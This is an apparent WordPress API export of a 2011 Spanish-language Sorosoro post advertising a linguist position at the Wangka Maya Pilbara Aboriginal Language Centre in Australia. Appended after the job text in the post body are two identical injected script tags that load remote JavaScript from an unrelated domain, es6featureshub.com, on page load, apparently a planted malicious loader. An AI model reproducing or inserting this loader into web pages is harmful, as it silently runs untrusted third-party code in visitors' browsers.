{"id":48548,"date":"2011-06-10T00:01:06","date_gmt":"2011-06-09T22:01:06","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=48548"},"modified":"2025-10-21T22:36:14","modified_gmt":"2025-10-21T20:36:14","slug":"10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/","title":{"rendered":"10 de junio 2011: fecha l\u00edmite de entrega de candidaturas para un puesto de ling\u00fcista en un Centro de Lenguas Abor\u00edgenes, Australia"},"content":{"rendered":"<p style=\"text-align: justify;\">El Centro <strong>Wangka Maya Pilbara<\/strong> a favor de las Lenguas Abor\u00edgenes busca un <strong>ling\u00fcista experimentado<\/strong> para unirse a su equipo que trabaja en la <strong>regi\u00f3n de Pilbara<\/strong>, una regi\u00f3n rica en lenguas y en culturas.<\/p>\n<p style=\"text-align: justify;\">La persona reclutada ser\u00e1 responsable de proyecto y deber\u00e1 desarrollar buenas relaciones con las comunidades abor\u00edgenes.<\/p>\n<p style=\"text-align: justify;\">Su trabajo consistir\u00e1 en <strong>documentar las lenguas de la regi\u00f3n<\/strong>, con vistas a una explotaci\u00f3n por los miembros de las comunidades, el gran p\u00fablico y los ling\u00fcistas. M\u00e1s particularmente, deber\u00e1 registrar y analizar estas lenguas, producir una gran variedad de documentos y procurar que todo el material recolectado est\u00e9 debidamente archivado de manera digital para un f\u00e1cil acceso y una buena preservaci\u00f3n.<\/p>\n<p style=\"text-align: justify;\">Deber\u00e1 tambi\u00e9n hallarse en situaci\u00f3n de ayudar a los actores de terreno haciendo la formaci\u00f3n informal.<\/p>\n<p style=\"text-align: justify;\">Los solicitantes deber\u00e1n ser <strong>egresados de ling\u00fc\u00edstica<\/strong>, tener <strong>competencias en documentaci\u00f3n de lenguas<\/strong> (recolecta, transcripci\u00f3n y an\u00e1lisis) y <strong>dominar los instrumentos inform\u00e1ticos vigentes en la disciplina<\/strong>.<\/p>\n<p style=\"text-align: justify;\">Deber\u00e1n tambi\u00e9n ser aptos para trabajar en equipo y ser de buenos comunicantes, tanto al escrito como al oral.<\/p>\n<p style=\"text-align: justify;\">El permiso de conducir es obligatorio, porque el trabajo contendr\u00e1 viajes hasta comunidades muy alejadas.<\/p>\n<p style=\"text-align: justify;\">Una experiencia de trabajo en el seno de comunidades ind\u00edgenas y el dominio de lenguas abor\u00edgenes serian una ventaja.<\/p>\n<p style=\"text-align: justify;\">El salario es de 63 699 $ d\u00f3lares al a\u00f1o, m\u00e1s diferentes subsidios.<\/p>\n<p style=\"text-align: justify;\">Los expedientes de candidatura con CV deben ser enviados para el <strong>10 de junio de 2011<\/strong> a:\u00a0<a href=\"mailto:yakuli@wangkamaya.org.au\">Jessica Denniss<\/a><\/p>\n<p style=\"text-align: justify;\">Tel\u00e9fono: (08) 9172 2344<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"http: \/\/ www.wangkamaya.org.au\/\" target=\"_blank\">Para saber m\u00e1s sobre el Centro Wangka Maya<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>El Centro Wangka Maya Pilbara a favor de las Lenguas Abor\u00edgenes busca un ling\u00fcista experimentado para unirse a su equipo que trabaja en la regi\u00f3n de Pilbara, una regi\u00f3n rica en lenguas y en culturas. La persona reclutada ser\u00e1 responsable de proyecto y deber\u00e1 desarrollar buenas relaciones con las comunidades abor\u00edgenes. Su trabajo consistir\u00e1 en [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"class_list":["post-48548","post","type-post","status-publish","format-standard","hentry","category-calendario"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>10 de junio 2011: fecha l\u00edmite de entrega de candidaturas para un puesto de ling\u00fcista en un Centro de Lenguas Abor\u00edgenes, Australia - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"10 de junio 2011: fecha l\u00edmite de entrega de candidaturas para un puesto de ling\u00fcista en un Centro de Lenguas Abor\u00edgenes, Australia - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"El Centro Wangka Maya Pilbara a favor de las Lenguas Abor\u00edgenes busca un ling\u00fcista experimentado para unirse a su equipo que trabaja en la regi\u00f3n de Pilbara, una regi\u00f3n rica en lenguas y en culturas. La persona reclutada ser\u00e1 responsable de proyecto y deber\u00e1 desarrollar buenas relaciones con las comunidades abor\u00edgenes. Su trabajo consistir\u00e1 en [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-06-09T22:01:06+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:36:14+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minuto\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"10 de junio 2011: fecha l\u00edmite de entrega de candidaturas para un puesto de ling\u00fcista en un Centro de Lenguas Abor\u00edgenes, Australia\",\"datePublished\":\"2011-06-09T22:01:06+00:00\",\"dateModified\":\"2025-10-21T20:36:14+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/\"},\"wordCount\":297,\"articleSection\":[\"Calendario\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/\",\"name\":\"10 de junio 2011: fecha l\u00edmite de entrega de candidaturas para un puesto de ling\u00fcista en un Centro de Lenguas Abor\u00edgenes, Australia - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-06-09T22:01:06+00:00\",\"dateModified\":\"2025-10-21T20:36:14+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"10 de junio 2011: fecha l\u00edmite de entrega de candidaturas para un puesto de ling\u00fcista en un Centro de Lenguas Abor\u00edgenes, Australia\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"10 de junio 2011: fecha l\u00edmite de entrega de candidaturas para un puesto de ling\u00fcista en un Centro de Lenguas Abor\u00edgenes, Australia - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/","og_locale":"es_ES","og_type":"article","og_title":"10 de junio 2011: fecha l\u00edmite de entrega de candidaturas para un puesto de ling\u00fcista en un Centro de Lenguas Abor\u00edgenes, Australia - Sorosoro","og_description":"El Centro Wangka Maya Pilbara a favor de las Lenguas Abor\u00edgenes busca un ling\u00fcista experimentado para unirse a su equipo que trabaja en la regi\u00f3n de Pilbara, una regi\u00f3n rica en lenguas y en culturas. La persona reclutada ser\u00e1 responsable de proyecto y deber\u00e1 desarrollar buenas relaciones con las comunidades abor\u00edgenes. Su trabajo consistir\u00e1 en [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/","og_site_name":"Sorosoro","article_published_time":"2011-06-09T22:01:06+00:00","article_modified_time":"2025-10-21T20:36:14+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"1 minuto"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"10 de junio 2011: fecha l\u00edmite de entrega de candidaturas para un puesto de ling\u00fcista en un Centro de Lenguas Abor\u00edgenes, Australia","datePublished":"2011-06-09T22:01:06+00:00","dateModified":"2025-10-21T20:36:14+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/"},"wordCount":297,"articleSection":["Calendario"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/","name":"10 de junio 2011: fecha l\u00edmite de entrega de candidaturas para un puesto de ling\u00fcista en un Centro de Lenguas Abor\u00edgenes, Australia - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-06-09T22:01:06+00:00","dateModified":"2025-10-21T20:36:14+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/06\/10-de-junio-2011-fecha-limite-de-entrega-de-candidaturas-para-un-puesto-de-linguista-en-un-centro-de-lenguas-aborigenes-australia\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"10 de junio 2011: fecha l\u00edmite de entrega de candidaturas para un puesto de ling\u00fcista en un Centro de Lenguas Abor\u00edgenes, Australia"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/48548","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=48548"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/48548\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=48548"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=48548"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=48548"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}